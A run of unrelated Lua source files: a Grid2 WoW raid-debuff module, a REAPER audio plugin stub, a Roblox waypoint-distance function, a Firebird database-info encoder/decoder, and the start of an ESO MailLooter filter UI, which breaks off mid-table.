severity_sort = true, }) return M
-- Raid Debuffs module, implements raid-debuffs statuses local L = LibStub("AceLocale-3.0"):GetLocale("Grid2") local GSRD = Grid2:NewModule("Grid2RaidDebuffs") local frame = CreateFrame("Frame") local Grid2 = Grid2 local isClassic = Grid2.isClassic local next = next local ipairs = ipairs local strfind = strfind local GetTime = GetTime local UnitGUID = UnitGUID local GetSpellInfo = GetSpellInfo local UnitAura = UnitAura local EJ_GetInstanceForMap = EJ_GetInstanceForMap or function(mapID) return mapID-100000 end local EJ_SelectInstance = EJ_SelectInstance or Grid2.Dummy local EJ_GetEncounterInfoByIndex = EJ_GetEncounterInfoByIndex or Grid2.Dummy GSRD.defaultDB = { profile = { debuffs = {}, enabledModules = {} } } -- general variables local instance_ej_id local instance_map_id local instance_bmap_id local instance_map_name local statuses = {} local spells_order = {} local spells_status = {} local spells_count = 0 -- autdetect debuffs variables local auto_status local auto_time local auto_boss local auto_instance local auto_encounter local auto_debuffs local auto_blacklist = { [160029] = true, [36032] = true, [6788] = true, [80354] = true, [95223] = true, [114216] = true, [57723] = true, [225080] = true, [25771] = true } -- Fix some bugged maps (EJ_GetInstanceInfo does not return valid instanceID for the listed maps) -- We replace bugged mapIDs with another non-bugged mapIDs of the same instance. local bugged_maps = { -- Fix for Uldir map 1150 (ticket #588) [1150] = 1148, -- Fixes for Eternal Palace (ticket #691) [1515] = 1512, [1516] = 1512, -- Fixes for Ny'alotha the Waking City (ticket #786) [1580] = 1581, [1582] = 1581, -- Spires of Ascension [1692] = 1693, } -- LDB Tooltip Grid2.tooltipFunc['RaidDebuffsCount'] = function(tooltip) if instance_map_name then tooltip:AddDoubleLine( instance_map_name, string.format("|cffff0000%d|r %s",spells_count,L['debuffs']), 255,255,255, 255,255,0) end end -- roster units local unit_in_roster = Grid2.roster_guids -- GSRD local function RefreshAuras(self, event, unit) if unit_in_roster[unit] then local index = 1 while true do local name, te, co, ty, du, ex, ca, _, _, id, _, isBoss = UnitAura(unit, index, 'HARMFUL') if not name then break end local order = spells_order[name] if not order then order, name = spells_order[id], id end if order then spells_status[name]:AddDebuff(order, te, co, ty, du, ex, index) elseif auto_time and (not auto_blacklist[id]) and (ex<=0 or du<=0 or ex-du>=auto_time) then order = GSRD:RegisterNewDebuff(id, ca, te, co, ty, du, ex, isBoss) if order then auto_status:AddDebuff(order, te, co, ty, du, ex, index) end end index = index + 1 end for status in next, statuses do status:UpdateState(unit) end end end frame:SetScript("OnEvent", RefreshAuras) function GSRD:RefreshAuras() for unit in Grid2:IterateRosterUnits() do RefreshAuras(frame, nil, unit) end end function GSRD:OnModuleEnable() self:UpdateZoneSpells(true) if Grid2.classicDurations then UnitAura = LibStub("LibClassicDurations").UnitAuraDirect end end function GSRD:OnModuleDisable() self:ResetZoneSpells() end -- In Classic Encounter Journal data does not exist so we always use map_id so: instance_ej_id+100000=instance_map_id function GSRD:UpdateZoneSpells(event) local bm = C_Map.GetBestMapForUnit("player") if bm or isClassic then local map_id = select(8,GetInstanceInfo()) + 100000 -- +100000 to avoid collisions with instance_ej_id if event and map_id==instance_map_id then return end self:ResetZoneSpells() instance_ej_id = EJ_GetInstanceForMap( (isClassic and map_id) or bugged_maps[bm] or bm ) instance_map_id = map_id instance_map_name = GetInstanceInfo() instance_bmap_id = bm or -1 for status in next,statuses do status:LoadZoneSpells() end self:UpdateEvents() self:ClearAllIndicators() else C_Timer.After(3, function() self:UpdateZoneSpells(true) end ) end end function GSRD:GetCurrentZone() return instance_ej_id, instance_map_id end function GSRD:ClearAllIndicators() for status in next, statuses do status:ClearAllIndicators() end end function GSRD:ResetZoneSpells() instance_ej_id = nil instance_map_id = nil instance_map_name = nil wipe(spells_order) wipe(spells_status) end function GSRD:UpdateEvents() local new = not ( next(spells_order) or auto_status ) local old = not frame:IsEventRegistered("UNIT_AURA") if new ~= old then if new then frame:UnregisterEvent("UNIT_AURA") if Grid2.classicDurations then LibStub("LibClassicDurations"):Unregister(GSRD) end else frame:RegisterEvent("UNIT_AURA") if Grid2.classicDurations then LibStub("LibClassicDurations"):Register(GSRD) end end end end function GSRD:Grid_UnitLeft(_, unit) for status in next, statuses do status:ResetState(unit) end end -- raid debuffs autodetection function GSRD:RegisterNewDebuff(spellId, caster, te, co, ty, du, ex, isBoss) if (not isBoss) and (caster and Grid2:IsGUIDInRaid(UnitGUID(caster))) then return end if not auto_debuffs then self:RegisterEncounter() end local debuffs = auto_status.dbx.debuffs[auto_instance] if not debuffs then debuffs = {}; auto_status.dbx.debuffs[auto_instance] = debuffs if self.debugging then self:Debug("New Debuff detected: [%d] instance: [%d] boss: [%s]", spellId, auto_instance, auto_encounter or "nil"); end end local order = #debuffs + 1 spells_order[spellId] = order spells_status[spellId] = auto_status debuffs[order] = spellId auto_debuffs[#auto_debuffs+1] = spellId return order end function GSRD:RegisterEncounter(encounterName) encounterName = encounterName or auto_boss or self:GetBossName() auto_encounter = encounterName auto_instance = IsInInstance() and instance_ej_id or instance_map_id local debuffs = self.db.profile.debuffs[auto_instance] if not debuffs then debuffs = { { id = auto_instance, name = instance_map_name, raid = IsInRaid() or nil } } self.db.profile.debuffs[auto_instance] = debuffs end auto_debuffs = debuffs[encounterName] if not auto_debuffs then local instance = (instance_ej_id or 0)>0 and instance_ej_id or (isClassic and 1028 or 1192)-- 0=>asuming Azeroth(1028)(classic) or Shadowlands(1192)(retail) local encOrder, encName, encID, _ = 0 EJ_SelectInstance(instance) repeat encOrder = encOrder + 1 encName, _, encID = EJ_GetEncounterInfoByIndex(encOrder, instance) until encName==nil or encName == encounterName auto_debuffs = { order = encOrder, ejid = encID } debuffs[encounterName] = auto_debuffs end end function GSRD:GetBossName() return UnitName("boss1") or ((UnitLevel("target")==-1 or UnitLevel("target")>=GetMaxPlayerLevel()+2) and UnitName("target")) or "unknown" end function GSRD:ENCOUNTER_START(_,encounterID,encounterName) self:RegisterEncounter(encounterName) end function GSRD:ZONE_CHANGED(event) -- general fix for subzones in instances with no assigned ejid if instance_ej_id==0 and IsInInstance() then if self.debugging then self:Debug("Wrong SubZone detected bMapID: [%d], reloading raid debuffs",instance_bmap_id or -1); end self:UpdateZoneSpells(false) end end function GSRD:PLAYER_REGEN_DISABLED() auto_time = GetTime() auto_boss = self:GetBossName() end function GSRD:PLAYER_REGEN_ENABLED() if not UnitIsDeadOrGhost("player") then auto_time = nil auto_boss = nil auto_debuffs = nil end end function GSRD:EnableAutodetect(status) auto_status = status self:UpdateEvents() self:RegisterEvent("PLAYER_REGEN_DISABLED") self:RegisterEvent("PLAYER_REGEN_ENABLED") self:RegisterEvent("ENCOUNTER_START") if InCombatLockdown() then self:PLAYER_REGEN_DISABLED() end end function GSRD:DisableAutodetect() auto_status = nil auto_time = nil auto_boss = nil auto_debuffs = nil self:UnregisterEvent("PLAYER_REGEN_DISABLED") self:UnregisterEvent("PLAYER_REGEN_ENABLED") self:UnregisterEvent("ENCOUNTER_START") self:UpdateEvents() end -- statuses local class = { GetColor = Grid2.statusLibrary.GetColor, IsActive = function(self, unit) return self.states[unit] end, GetIcon = function(self, unit) return self.textures[unit] end, GetCount = function(self, unit) return self.counts[unit] end, GetDuration = function(self, unit) return self.durations[unit] end, GetExpirationTime = function(self, unit) return self.expirations[unit] end, GetTooltip = function(self, unit, tip) tip:SetUnitDebuff(unit, self.states[unit]) end, } do local textures, counts, expirations, durations, colors = {}, {}, {}, {}, {} function class:GetIconsMultiple(unit, max) local color, i, j, name, id, _ = self.dbx.color1, 1, 1 repeat name, textures[j], counts[j], _, durations[j], expirations[j], _, _, _, id = UnitAura(unit, i, 'HARMFUL') if not name then break end if spells_status[name]==self or spells_status[id]==self then colors[j] = color j = j + 1 end i = i + 1 until j>max return j-1, textures, counts, expirations, durations, colors end end function class:ClearAllIndicators() local states = self.states for unit in pairs(states) do states[unit] = nil self:UpdateIndicators(unit) end end function class:LoadZoneSpells() if instance_map_id then spells_count = 0 local debuffs = self.dbx.debuffs local db = debuffs[instance_map_id] or debuffs[instance_ej_id] if db then for index, spell in ipairs(db) do local name = spell<0 and -spell or GetSpellInfo(spell) if name and (not spells_order[name]) then spells_order[name] = index spells_status[name] = self spells_count = spells_count + 1 end end end if GSRD.debugging then GSRD:Debug("Zone[%s] C_MapID[%d] EjID[%d] mapID[%d] Status [%s]: %d raid debuffs loaded from [%d]", instance_map_name, instance_bmap_id, instance_ej_id, instance_map_id, self.name, spells_count, (debuffs[instance_map_id] and instance_map_id) or (debuffs[instance_ej_id] and instance_ej_id) ) end end end function class:OnEnable() if not next(statuses) then GSRD:RegisterEvent("ZONE_CHANGED_NEW_AREA", "UpdateZoneSpells") GSRD:RegisterMessage("Grid_UnitLeft") if not isClassic then GSRD:RegisterEvent("ZONE_CHANGED"); end end statuses[self] = true self.GetIcons = self.dbx.enableIcons and self.GetIconsMultiple or nil self.UpdateState = self.dbx.enableIcons and self.UpdateStateMultiple or self.UpdateStateSingle self:LoadZoneSpells() GSRD:UpdateEvents() end function class:OnDisable() statuses[self] = nil if not next(statuses) then GSRD:UnregisterEvent("ZONE_CHANGED_NEW_AREA") GSRD:UnregisterMessage("Grid_UnitLeft") if not isClassic then GSRD:UnregisterEvent("ZONE_CHANGED"); end GSRD:ResetZoneSpells() GSRD:UpdateEvents() end end function class:AddDebuff(order, te, co, ty, du, ex, index) if order < self.order or ( order == self.order and co > self.count ) then self.index = index self.order = order self.count = co self.texture = te self.type = ty self.duration = du self.expiration = ex end end function class:UpdateStateSingle(unit) if self.order<10000 then if self.count==0 then self.count = 1 end if false ~= not self.states[unit] or self.count ~= self.counts[unit] or self.type ~= self.types[unit] or self.texture ~= self.textures[unit] or self.duration ~= self.durations[unit] or self.expiration ~= self.expirations[unit] then self.states[unit] = self.index self.counts[unit] = self.count self.textures[unit] = self.texture self.types[unit] = self.type self.durations[unit] = self.duration self.expirations[unit] = self.expiration self:UpdateIndicators(unit) end self.order, self.count = 10000, 0 elseif self.states[unit] then self.states[unit] = nil self:UpdateIndicators(unit) end end function class:UpdateStateMultiple(unit) if self.order<10000 then self.states[unit] = self.index self.counts[unit] = self.count==0 and 1 or self.count self.textures[unit] = self.texture self.types[unit] = self.type self.durations[unit] = self.duration self.expirations[unit] = self.expiration self.order, self.count = 10000, 0 elseif self.states[unit] then self.states[unit] = nil end self:UpdateIndicators(unit) end function class:ResetState(unit) self.states[unit] = nil self.counts[unit] = nil self.textures[unit] = nil self.types[unit] = nil self.durations[unit] = nil self.expirations[unit] = nil end local function Create(baseKey, dbx) local status = Grid2.statusPrototype:new(baseKey, false) status.states = {} status.textures = {} status.counts = {} status.types = {} status.durations = {} status.expirations = {} status.count = 0 status.order = 10000 status:Inject(class) Grid2:RegisterStatus(status, { 'icon', 'color', 'text', 'tooltip' }, baseKey, dbx) return status end Grid2.setupFunc["raid-debuffs"] = Create Grid2:DbSetStatusDefaultValue( "raid-debuffs", {type = "raid-debuffs", debuffs={}, color1 = {r=1,g=.5,b=1,a=1}} ) -- Hook to update database config local prev_UpdateDefaults = Grid2.UpdateDefaults function Grid2:UpdateDefaults() prev_UpdateDefaults(self) local version = Grid2:DbGetValue("versions", "Grid2RaidDebuffs") or 0 if version >= 4 then return end if version == 0 then Grid2:DbSetMap( "icon-center", "raid-debuffs", 155) else -- Remove all enabled debuffs for _,db in pairs(Grid2.db.profile.statuses) do if db.type == "raid-debuffs" then db.debuffs = {} end end GSRD.db.profile.debuffs = {} GSRD.db.profile.enabledModules = {} end Grid2:DbSetValue("versions","Grid2RaidDebuffs",4) end -- Hook to load Grid2RaidDebuffOptions module local prev_LoadOptions = Grid2.LoadOptions function Grid2:LoadOptions() LoadAddOn("Grid2RaidDebuffsOptions") prev_LoadOptions(self) end
loadfile("C:/Users/pract/Documents/Repos/ReaperPlugins/Lua/ReaperFakeRoom/Source/Send.lua")() local function Msg(param) reaper.ShowConsoleMsg(tostring(param).."\n") end AudioSource = { name = "", position = {0,0}, -- 2D position in room volume = 0, -- maybe not used.. track = 0, -- will be changed to reaper track[Direct track reference even if index(order in reaper mixer/project) should change] mainMic = "", -- will send stereo signal to this mic.. mono to all other roomMicsSendsList = {}, -- list all sends closeMicsSendsList = {} -- 1st in list is ref to main mic, stereo send } function AudioSource:New(o) o = o or {} self.__index = self setmetatable(o,self) return o end function AudioSource:Ini() -- input all mic lists.. -- calculate sends to mics from distances.. -- each send should hold reverb and delay data... local newSend = Send:New() newSend.name = "new name" Msg("new send name "..newSend.name) end
local Types = require(script.Parent.Parent.Types) type Array<T> = Types.Array<T> -- Returns a total magnitude between waypoints. local function getPathWaypointsMagnitude(waypoints: Array<PathWaypoint>) local previousPosition, magnitude = waypoints[1].Position, 0 -- skip initial waypoint as its magnitude will always be 0 for index = 2, #waypoints do local waypointPosition = waypoints[index].Position -- increment total path waypoints length (magnitude) magnitude += (previousPosition - waypointPosition).Magnitude previousPosition = waypointPosition end return magnitude end return getPathWaypointsMagnitude
--[[ DB_INFO: request information about an attachment this is the aux library to encode the request buffer and decode the reply buffer. encode(options_t) -> encoded options string decode(info_buf, info_buf_len) -> decoded info table USAGE: - use it with isc_database_info() to encode the info request and decode the info result. - see info_codes table below for what you can request and the structure and meaning of the results. ]] module(...,require 'fbclient.module') local info = require 'fbclient.info' --used by decode_timestamp() local datetime = require 'fbclient.datetime' local alien = require 'alien' local info_codes = { isc_info_db_id = 4, --{db_filename,site_name} isc_info_reads = 5, --number of page reads isc_info_writes = 6, --number of page writes isc_info_fetches = 7, --number of reads from the memory buffer cache isc_info_marks = 8, --number of writes to the memory buffer cache isc_info_implementation = 11, --implementation code name isc_info_isc_version = 12, --interbase server version identification string isc_info_base_level = 13, --database level number, i.e. capability version of the server isc_info_page_size = 14, --number of bytes per page of the attached database isc_info_num_buffers = 15, --number of memory buffers currently allocated isc_info_limbo = 16, --TODO: make some limbo transactions isc_info_current_memory = 17, --amount of server memory (in bytes) currently in use isc_info_max_memory = 18, --maximum amount of memory (in bytes) used at one time since the first process attached to the database isc_info_window_turns = 19, --returns error code on firebird !! isc_info_license = 20, --returns error code on firebird !! isc_info_allocation = 21, --number of database pages allocated isc_info_attachment_id = 22, --attachment id number; att. IDs are in system table MON$ATTACHMENTS. --all *_count codes below return {[table_id]=operation_count,...}; table IDs are in the system table RDB$RELATIONS. isc_info_read_seq_count = 23, --number of sequential table scans (row reads) done on each table since the database was last attached isc_info_read_idx_count = 24, --number of reads done via an index since the database was last attached isc_info_insert_count = 25, --number of inserts into the database since the database was last attached isc_info_update_count = 26, --number of database updates since the database was last attached isc_info_delete_count = 27, --number of database deletes since the database was last attached isc_info_backout_count = 28, --number of removals of a version of a record isc_info_purge_count = 29, --number of removals of old versions of fully mature records (records that are committed, so that older ancestor versions are no longer needed) isc_info_expunge_count = 30, --number of removals of a record and all of its ancestors, for records whose deletions have been committed isc_info_sweep_interval = 31, --number of transactions that are committed between sweeps to remove database record versions that are no longer needed isc_info_ods_version = 32, --ODS major version number isc_info_ods_minor_version = 33, --On-disk structure (ODS) minor version number isc_info_no_reserve = 34, --boolean: 20% page space is NOT reserved for holding backup versions of modified records --[[ WAL was removed from firebird isc_info_logfile = 35, isc_info_cur_logfile_name = 36, isc_info_cur_log_part_offset = 37, isc_info_num_wal_buffers = 38, isc_info_wal_buffer_size = 39, isc_info_wal_ckpt_length = 40, isc_info_wal_cur_ckpt_interval = 41, isc_info_wal_prv_ckpt_fname = 42, isc_info_wal_prv_ckpt_poffset = 43, isc_info_wal_recv_ckpt_fname = 44, isc_info_wal_recv_ckpt_poffset = 45, isc_info_wal_grpc_wait_usecs = 47, isc_info_wal_num_io = 48, isc_info_wal_avg_io_size = 49, isc_info_wal_num_commits = 50, isc_info_wal_avg_grpc_size = 51, ]] isc_info_forced_writes = 52, --mode in which database writes are performed: true=sync, false=async isc_info_user_names = 53, --array of names of all the users currently attached to the database isc_info_page_errors = 54, --number of page level errors validate found isc_info_record_errors = 55, --number of record level errors validate found isc_info_bpage_errors = 56, --number of blob page errors validate found isc_info_dpage_errors = 57, --number of data page errors validate found isc_info_ipage_errors = 58, --number of index page errors validate found isc_info_ppage_errors = 59, --number of pointer page errors validate found isc_info_tpage_errors = 60, --number of transaction page errors validate found isc_info_set_page_buffers = 61, --set ?! the number of page buffers used in a classic attachment. isc_info_db_sql_dialect = 62, --dialect of currently attached database isc_info_db_read_only = 63, --boolean: whether the database is read-only or not isc_info_db_size_in_pages = 64, --same as isc_info_allocation frb_info_att_charset = 101, --charset of current attachment isc_info_db_class = 102, isc_info_firebird_version = 103, --firebird server version identification string isc_info_oldest_transaction = 104, --ID of oldest transaction isc_info_oldest_active = 105, --ID of oldest active transaction isc_info_oldest_snapshot = 106, --ID of oldest snapshot transaction isc_info_next_transaction = 107, --ID of next transaction isc_info_db_provider = 108, --for firebird is 'isc_info_db_code_firebird' isc_info_active_transactions= 109, --array of active transaction IDs; fb 1.5+ isc_info_active_tran_count = 110, --number of active transactions; fb 2.0+ isc_info_creation_date = 111, --time_t struct representing database creation date & time; fb 2.0+ isc_info_db_file_size = 112, --?; returns 0 fb_info_page_contents = 113, --get raw page contents; takes page_number as parameter; fb 2.5+ } local info_code_lookup = index(info_codes) local info_buf_sizes = { isc_info_db_id = 1+1+MAX_BYTE+1+MAX_BYTE, --mark,dbfile,hostname isc_info_reads = INT_SIZE, isc_info_writes = INT_SIZE, isc_info_fetches = INT_SIZE, isc_info_marks = INT_SIZE, isc_info_implementation = 1+1+1+1, --mark,impl_number,class_number,? isc_info_isc_version = 255, isc_info_base_level = 1+1, --mark,version isc_info_page_size = INT_SIZE, isc_info_num_buffers = INT_SIZE, isc_info_limbo = INT_SIZE, isc_info_current_memory = INT_SIZE, isc_info_max_memory = INT_SIZE, isc_info_window_turns = INT_SIZE, isc_info_license = INT_SIZE, isc_info_allocation = INT_SIZE, isc_info_attachment_id = INT_SIZE, isc_info_read_seq_count = MAX_SHORT, isc_info_read_idx_count = MAX_SHORT, isc_info_insert_count = MAX_SHORT, isc_info_update_count = MAX_SHORT, isc_info_delete_count = MAX_SHORT, isc_info_backout_count = MAX_SHORT, isc_info_purge_count = MAX_SHORT, isc_info_expunge_count = MAX_SHORT, isc_info_sweep_interval = INT_SIZE, isc_info_ods_version = INT_SIZE, isc_info_ods_minor_version = INT_SIZE, isc_info_no_reserve = INT_SIZE, --[[ WAL was removed from firebird isc_info_logfile = 2048, isc_info_cur_logfile_name = 2048, isc_info_cur_log_part_offset = INT_SIZE, isc_info_num_wal_buffers = INT_SIZE, isc_info_wal_buffer_size = INT_SIZE, isc_info_wal_ckpt_length = INT_SIZE, isc_info_wal_cur_ckpt_interval = INT_SIZE, isc_info_wal_prv_ckpt_fname = 2048, isc_info_wal_prv_ckpt_poffset = INT_SIZE, isc_info_wal_recv_ckpt_fname = 2048, isc_info_wal_recv_ckpt_poffset = INT_SIZE, isc_info_wal_grpc_wait_usecs = INT_SIZE, isc_info_wal_num_io = INT_SIZE, isc_info_wal_avg_io_size = INT_SIZE, isc_info_wal_num_commits = INT_SIZE, isc_info_wal_avg_grpc_size = INT_SIZE, ]] isc_info_forced_writes = INT_SIZE, isc_info_user_names = MAX_SHORT, isc_info_page_errors = INT_SIZE, isc_info_record_errors = INT_SIZE, isc_info_bpage_errors = INT_SIZE, isc_info_dpage_errors = INT_SIZE, isc_info_ipage_errors = INT_SIZE, isc_info_ppage_errors = INT_SIZE, isc_info_tpage_errors = INT_SIZE, isc_info_set_page_buffers = INT_SIZE, isc_info_db_sql_dialect = 1, isc_info_db_read_only = INT_SIZE, isc_info_db_size_in_pages = INT_SIZE, frb_info_att_charset = INT_SIZE, isc_info_db_class = 1, isc_info_firebird_version = 255, isc_info_oldest_transaction = INT_SIZE, isc_info_oldest_active = INT_SIZE, isc_info_oldest_snapshot = INT_SIZE, isc_info_next_transaction = INT_SIZE, isc_info_db_provider = 1, isc_info_active_transactions = MAX_SHORT, isc_info_active_tran_count = INT_SIZE, isc_info_creation_date = 2*INT_SIZE, isc_info_db_file_size = INT_SIZE, fb_info_page_contents = MAX_SHORT, } local info_db_implementations = { isc_info_db_impl_rdb_vms = 1, isc_info_db_impl_rdb_eln = 2, isc_info_db_impl_rdb_eln_dev = 3, isc_info_db_impl_rdb_vms_y = 4, isc_info_db_impl_rdb_eln_y = 5, isc_info_db_impl_jri = 6, isc_info_db_impl_jsv = 7, isc_info_db_impl_isc_apl_68K = 25, isc_info_db_impl_isc_vax_ultr = 26, isc_info_db_impl_isc_vms = 27, isc_info_db_impl_isc_sun_68k = 28, isc_info_db_impl_isc_os2 = 29, isc_info_db_impl_isc_sun4 = 30, isc_info_db_impl_isc_hp_ux = 31, isc_info_db_impl_isc_sun_386i = 32, isc_info_db_impl_isc_vms_orcl = 33, isc_info_db_impl_isc_mac_aux = 34, isc_info_db_impl_isc_rt_aix = 35, isc_info_db_impl_isc_mips_ult = 36, isc_info_db_impl_isc_xenix = 37, isc_info_db_impl_isc_dg = 38, isc_info_db_impl_isc_hp_mpexl = 39, isc_info_db_impl_isc_hp_ux68K = 40, isc_info_db_impl_isc_sgi = 41, isc_info_db_impl_isc_sco_unix = 42, isc_info_db_impl_isc_cray = 43, isc_info_db_impl_isc_imp = 44, isc_info_db_impl_isc_delta = 45, isc_info_db_impl_isc_next = 46, isc_info_db_impl_isc_dos = 47, isc_info_db_impl_m88K = 48, isc_info_db_impl_unixware = 49, isc_info_db_impl_isc_winnt_x86 = 50, isc_info_db_impl_isc_epson = 51, isc_info_db_impl_alpha_osf = 52, isc_info_db_impl_alpha_vms = 53, isc_info_db_impl_netware_386 = 54, isc_info_db_impl_win_only = 55, isc_info_db_impl_ncr_3000 = 56, isc_info_db_impl_winnt_ppc = 57, isc_info_db_impl_dg_x86 = 58, isc_info_db_impl_sco_ev = 59, isc_info_db_impl_i386 = 60, isc_info_db_impl_freebsd = 61, isc_info_db_impl_netbsd = 62, isc_info_db_impl_darwin_ppc = 63, isc_info_db_impl_sinixz = 64, isc_info_db_impl_linux_sparc = 65, isc_info_db_impl_linux_amd64 = 66, isc_info_db_impl_freebsd_amd64 = 67, isc_info_db_impl_winnt_amd64 = 68, isc_info_db_impl_linux_ppc = 69, isc_info_db_impl_darwin_x86 = 70, isc_info_db_impl_linux_mipsel = 71, isc_info_db_impl_linux_mips = 72, isc_info_db_impl_darwin_x64 = 73, isc_info_db_impl_sun_amd64 = 74, isc_info_db_impl_linux_arm = 75, isc_info_db_impl_linux_ia64 = 76, isc_info_db_impl_darwin_ppc64 = 77, } local info_db_classes = { isc_info_db_class_access = 1, isc_info_db_class_y_valve = 2, isc_info_db_class_rem_int = 3, isc_info_db_class_rem_srvr = 4, isc_info_db_class_pipe_int = 7, isc_info_db_class_pipe_srvr = 8, isc_info_db_class_sam_int = 9, isc_info_db_class_sam_srvr = 10, isc_info_db_class_gateway = 11, isc_info_db_class_cache = 12, isc_info_db_class_classic_access = 13, isc_info_db_class_server_access = 14, } local info_db_providers = { isc_info_db_code_rdb_eln = 1, isc_info_db_code_rdb_vms = 2, isc_info_db_code_interbase = 3, isc_info_db_code_firebird = 4, } --returns {table_id,number_of_operations} local function decode_count(s) local t = {} for i=1,#s/6 do local table_id,op_num = struct.unpack('<HI',s,(i-1)*6+1) t[table_id] = op_num end return t end local function decode_version_string(s) local mark,ver = struct.unpack('bBc0',s) return ver end --the sole user of this decoder is isc_info_creation_date; --it's also the only decoder that requires a fbapi object. local function decode_timestamp(s,fbapi) assert(#s == struct.size('<iI')) local dx,tx = struct.unpack('<iI',s) --little endian & no alignment local dt_buf = alien.buffer(2*INT_SIZE) dt_buf:set(1,dx) dt_buf:set(1+INT_SIZE,tx) return datetime.decode_timestamp(dt_buf,fbapi) end local decoders = { isc_info_db_id = function(s) local mark,s1,s2,s3 = struct.unpack('bBc0Bc0',s) return {db_filename=s1,site_name=s2} end, isc_info_reads = info.decode_unsigned, isc_info_writes = info.decode_unsigned, isc_info_fetches = info.decode_unsigned, isc_info_marks = info.decode_unsigned, isc_info_implementation = function(s) return assert(info.decode_enum(info_db_implementations)(s:sub(2))) end, isc_info_isc_version = decode_version_string, isc_info_base_level = function(s) local mark,version = struct.unpack('bB',s) --mark,version return version end, isc_info_page_size = info.decode_unsigned, isc_info_num_buffers = info.decode_unsigned, --isc_info_limbo = , isc_info_current_memory = info.decode_unsigned, isc_info_max_memory = info.decode_unsigned, isc_info_window_turns = info.decode_unsigned, --isc_info_license = , isc_info_allocation = info.decode_unsigned, isc_info_attachment_id = info.decode_unsigned, isc_info_read_seq_count = decode_count, isc_info_read_idx_count = decode_count, isc_info_insert_count = decode_count, isc_info_update_count = decode_count, isc_info_delete_count = decode_count, isc_info_backout_count = decode_count, isc_info_purge_count = decode_count, isc_info_expunge_count = decode_count, isc_info_sweep_interval = info.decode_unsigned, isc_info_ods_version = info.decode_unsigned, isc_info_ods_minor_version = info.decode_unsigned, isc_info_no_reserve = info.decode_boolean, --[[ WAL was removed from firebird isc_info_logfile = info.decode_string, isc_info_cur_logfile_name = info.decode_string, isc_info_cur_log_part_offset = info.decode_unsigned, isc_info_num_wal_buffers = info.decode_unsigned, isc_info_wal_buffer_size = info.decode_unsigned, isc_info_wal_ckpt_length = info.decode_unsigned, isc_info_wal_cur_ckpt_interval = info.decode_unsigned, isc_info_wal_prv_ckpt_fname = info.decode_string, isc_info_wal_prv_ckpt_poffset = info.decode_unsigned, isc_info_wal_recv_ckpt_fname = info.decode_string, isc_info_wal_recv_ckpt_poffset = info.decode_unsigned, isc_info_wal_grpc_wait_usecs = info.decode_unsigned, isc_info_wal_num_io = info.decode_unsigned, isc_info_wal_avg_io_size = info.decode_unsigned, isc_info_wal_num_commits = info.decode_unsigned, isc_info_wal_avg_grpc_size = info.decode_unsigned, ]] isc_info_forced_writes = info.decode_boolean, isc_info_user_names = function(s) return struct.unpack('Bc0',s) end, isc_info_page_errors = info.decode_unsigned, isc_info_record_errors = info.decode_unsigned, isc_info_bpage_errors = info.decode_unsigned, isc_info_dpage_errors = info.decode_unsigned, isc_info_ipage_errors = info.decode_unsigned, isc_info_ppage_errors = info.decode_unsigned, isc_info_tpage_errors = info.decode_unsigned, isc_info_set_page_buffers = info.decode_unsigned, isc_info_db_sql_dialect = info.decode_unsigned, isc_info_db_read_only = info.decode_boolean, isc_info_db_size_in_pages = info.decode_unsigned, frb_info_att_charset = info.decode_unsigned, isc_info_db_class = info.decode_enum(info_db_classes), isc_info_firebird_version = decode_version_string, isc_info_oldest_transaction = info.decode_unsigned, isc_info_oldest_active = info.decode_unsigned, isc_info_oldest_snapshot = info.decode_unsigned, isc_info_next_transaction = info.decode_unsigned, isc_info_db_provider = info.decode_enum(info_db_providers), isc_info_active_transactions = info.decode_unsigned, isc_info_active_tran_count = info.decode_unsigned, isc_info_creation_date = decode_timestamp, isc_info_db_file_size = info.decode_unsigned, fb_info_page_contents = info.decode_string, } --info on these options can occur multiple times, so they are to be encapsulated as arrays. local array_options = { isc_info_user_names = true, isc_info_active_transactions = true, } local encoders = { fb_info_page_contents = function(page_num) return struct.pack('<HI',4,page_num) end } function encode(opts) return info.encode('DB_INFO', opts, info_codes, info_buf_sizes, encoders) end function decode(info_buf, info_buf_len, fbapi) --yeah, some decoder wants a fbapi, just pass it on and fuggetaboutit return info.decode('DB_INFO', info_buf, info_buf_len, info_code_lookup, decoders, array_options, fbapi) end
MailLooter = MailLooter or {} local ADDON = MailLooter ADDON.UI = ADDON.UI or {} local UI = ADDON.UI -- -- FilterFragmentClass -- UI.FilterFragmentClass = ZO_Object:Subclass() function UI.FilterFragmentClass:New() local obj = ZO_Object.New(self) obj:Initialize() return obj end function UI.FilterFragmentClass:Initialize() self.win = WINDOW_MANAGER:CreateTopLevelWindow( "MailLooterFilterFragment") self.win:SetWidth(ZO_MailInbox:GetWidth() - 20) self.win:SetAnchor(TOP, ZO_MailInbox, TOP, 0, 53) self.win:SetMouseEnabled(true) self.win:SetHeight(50) self.win:SetHidden(true) local filterBar = CreateControlFromVirtual( "MailLooterFitlerBar", self.win, "Lodur_MultiSelectBarTemplate") filterBar:SetAnchor(CENTER, self.win, CENTER, 58, 2) Lodur_MultiSelectBar_SetData(filterBar, { initialButtonAnchorPoint = LEFT, normalSize = {50, 50, 32}, downSize = {64, 58, 40}, buttonPadding = {15, 10, 0 }, separator = { false, true}, }) local avaButton = { descriptor = "ava", tooltip = SI_MAILLOOTER_FILTER_AVA, normal = UI.GetIcon(ADDON.Core.MAILTYPE_AVA, 'normal'), pressed = UI.GetIcon(ADDON.Core.MAILTYPE_AVA, 'pressed'), disabled = UI.GetIcon(ADDON.Core.MAILTYPE_AVA, 'disabled'), highlight = UI.GetIcon(ADDON.Core.MAILTYPE_AVA, 'highlight'), callback = function(button) end, onInitializeCallback = function(button) end, } local blacksmithButton= { descriptor = "smith", tooltip = SI_MAILLOOTER_FILTER_HIRELING_SMITH, normal = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'blacksmithing', 'normal'), pressed = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'blacksmithing', 'pressed'), disabled = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'blacksmithing', 'disabled'), highlight = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'blacksmithing', 'highlight'), callback = function(button) end, onInitializeCallback = function(button) end, } local clothingButton= { descriptor = "clothing", tooltip = SI_MAILLOOTER_FILTER_HIRELING_CLOTH, normal = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'clothing', 'normal'), pressed = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'clothing', 'pressed'), disabled = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'clothing', 'disabled'), highlight = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 